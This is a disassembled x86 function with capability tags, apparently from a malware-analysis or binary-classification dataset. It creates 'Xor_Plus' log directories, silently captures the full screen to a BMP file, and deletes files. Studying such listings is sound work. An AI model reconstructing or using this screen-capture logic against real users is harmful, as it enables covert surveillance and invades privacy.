Function at 0x10012c10
Capabilities:
Capture screenshot
Create directory
Delete file
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10037476
mov eax, dword fs:[0]
push eax
sub esp, 0x1bc
mov eax, dword [0x1004b034]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [0x1015ec50]
mov ecx, eax
lea esi, [ecx + 1]
mov dl, byte [ecx]
inc ecx
test dl, dl
jne 0x10012c48
sub ecx, esi
mov edi, ecx
mov esi, 0x1015830c
call fcn.10002d20
mov eax, dword [0x1015830c]
mov ebx, 0x10
cmp dword [0x10158320], ebx
jae 0x10012c71
mov eax, esi
mov ecx, str.00_00_0000
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x10012c96
test dl, dl
je 0x10012c92
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x10012c96
add eax, 2
add ecx, 2
test dl, dl
jne 0x10012c76
xor eax, eax
jmp 0x10012c9b
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x10012da2
push eax
call dword [sym.imp.MSVCR100.dll__time64]
mov dword [ebp - 0x88], eax
lea eax, [ebp - 0x88]
add esp, 4
push eax
mov dword [ebp - 0x84], edx
call dword [sym.imp.MSVCR100.dll__localtime64]
mov esi, eax
mov ecx, 9
lea edi, [ebp - 0x78]
rep movsd dword es:[edi], dword [esi]
add esp, 4
lea ecx, [ebp - 0x1c8]
push ecx
call fcn.10013010
mov dword [ebp - 4], 0
lea edx, [ebp - 0x78]
mov eax, str._d__m__Y
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x18], eax
inc eax
cmp byte [eax], 0
jne 0x10012cf6
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x1c8]
push eax
lea ecx, [ebp - 0x1c]
call fcn.10013ea0
add esp, 4
lea ecx, [ebp - 0x2c]
lea eax, [ebp - 0x1c8]
call fcn.100130c0
mov edi, eax
mov esi, 0x1015830c
mov byte [ebp - 4], 1
call fcn.100032d0
mov byte [ebp - 4], 0
cmp dword [ebp - 0x18], ebx
jb 0x10012d45
mov ecx, dword [ebp - 0x2c]
push ecx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
call fcn.1000e440
mov eax, dword [ebp - 0x1c8]
mov ecx, dword [eax + 4]
lea edx, [ebp - 0x178]
mov dword [ebp - 0x80], edx
mov dword [ebp + ecx - method.std::basic_ostringstream_char__struct_std::char_traits_char___class_std::allocator_char__.virtual_0], vtable.std::basic_ostringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
lea ecx, [ebp - 0x1c4]
mov dword [ebp - 4], 2
call fcn.100130e0
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x1c8]
mov ecx, dword [sym.imp.MSVCP100.dll_const_std::basic_ostream_char__struct_std::char_traits_char__::vftable]
mov eax, dword [edx + 4]
mov dword [ebp + eax - 0x1c8], ecx
lea ecx, [ebp - 0x178]
call dword [sym.imp.MSVCP100.dll_public_virtual:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::destructor_void_]
mov esi, dword [sym.imp.MSVCR100.dll__mkdir]
push str.Xor_Plus
call esi
add esp, 4
push str.Xor_PlusLogs
call esi
add esp, 4
push 0x80
push 0x1004157c
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0x1004157c
call dword [sym.imp.MSVCR100.dll_remove]
add esp, 4
push 0
call dword [sym.imp.USER32.dll_GetDC]
mov esi, dword [sym.imp.USER32.dll_GetSystemMetrics]
mov ebx, eax
push 0
mov dword [ebp - 0x80], ebx
call esi
push 1
mov edi, eax
call esi
push ebx
mov esi, eax
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
push esi
push edi
push ebx
mov dword [ebp - 0x7c], eax
call dword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
mov edx, dword [ebp - 0x7c]
push eax
push edx
mov dword [ebp - 0x84], eax
call dword [sym.imp.GDI32.dll_SelectObject]
mov eax, dword [ebp - 0x7c]
push 0xcc0020
push 0
push 0
push ebx
push esi
push edi
push 0
push 0
push eax
call dword [sym.imp.GDI32.dll_BitBlt]
mov ecx, esi
neg ecx
push 0x20
mov dword [ebp - 0x4c], ecx
xor eax, eax
push 0x1004157c
lea ecx, [ebp - 0x130]
push ecx
mov dword [ebp - 0x54], 0x28
mov dword [ebp - 0x50], edi
mov dword [ebp - 0x48], 0x180001
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x40], eax
call fcn.1000d720
mov dword [ebp - 4], 3
mov edx, dword [ebp - 0x130]
mov eax, dword [edx + 4]
mov ecx, dword [ebp + eax - 0x124]
lea eax, [ebp + eax - 0x130]
and cl, 6
movsx edx, cl
neg edx
sbb edx, edx
not edx
test eax, edx
je 0x10012f38
mov ebx, esi
imul ebx, edi
xor edx, edx
lea ecx, [ebx + ebx*2 + 0x36]
push edx
mov dword [ebp - 0x1e], ecx
push 0xe
lea ecx, [ebp - 0x20]
mov eax, 0x4d42
push ecx
lea ecx, [ebp - 0x130]
mov word [ebp - 0x20], ax
mov dword [ebp - 0x1a], edx
mov dword [ebp - 0x16], 0x36
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const___long_long___int64__]
push 0
push 0x28
lea edx, [ebp - 0x54]
push edx
lea ecx, [ebp - 0x130]
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const___long_long___int64__]
lea ebx, [ebx + ebx*2]
push ebx
call fcn.1003433c
mov ecx, dword [ebp - 0x84]
mov edx, dword [ebp - 0x7c]
add esp, 4
push 0
mov edi, eax
lea eax, [ebp - 0x54]
push eax
push edi
push esi
push 0
push ecx
push edx
call dword [sym.imp.GDI32.dll_GetDIBits]
mov eax, ebx
cdq
push edx
push eax
push edi
lea ecx, [ebp - 0x130]
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const___long_long___int64__]
push edi
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete___void__]
add esp, 4
lea eax, [ebp - 0x130]
push eax
call fcn.100079c0
mov ebx, dword [ebp - 0x80]
mov ecx, dword [ebp - 0x84]
push ecx
call dword [sym.imp.GDI32.dll_DeleteObject]
mov edx, dword [ebp - 0x7c]
push edx
call dword [sym.imp.GDI32.dll_DeleteDC]
push ebx
push 0
call dword [sym.imp.USER32.dll_ReleaseDC]
call fcn.1000eb50
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.1001b8e0
push 0x1004157c
call dword [sym.imp.MSVCR100.dll_remove]
mov ecx, dword [ebp - 0x130]
mov edx, dword [ecx + 4]
lea eax, [ebp - 0xd0]
add esp, 4
mov dword [ebp - 0x80], eax
mov dword [ebp + edx - method.std::basic_ofstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
lea ecx, [ebp - 0x12c]
mov dword [ebp - 4], 4
call fcn.10006f70
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x130]
mov ecx, dword [eax + 4]
mov edx, dword [sym.imp.MSVCP100.dll_const_std::basic_ostream_char__struct_std::char_traits_char__::vftable]
mov dword [ebp + ecx - 0x130], edx
lea ecx, [ebp - 0xd0]
call dword [sym.imp.MSVCP100.dll_public_virtual:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::destructor_void_]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10034620
mov esp, ebp
pop ebp
ret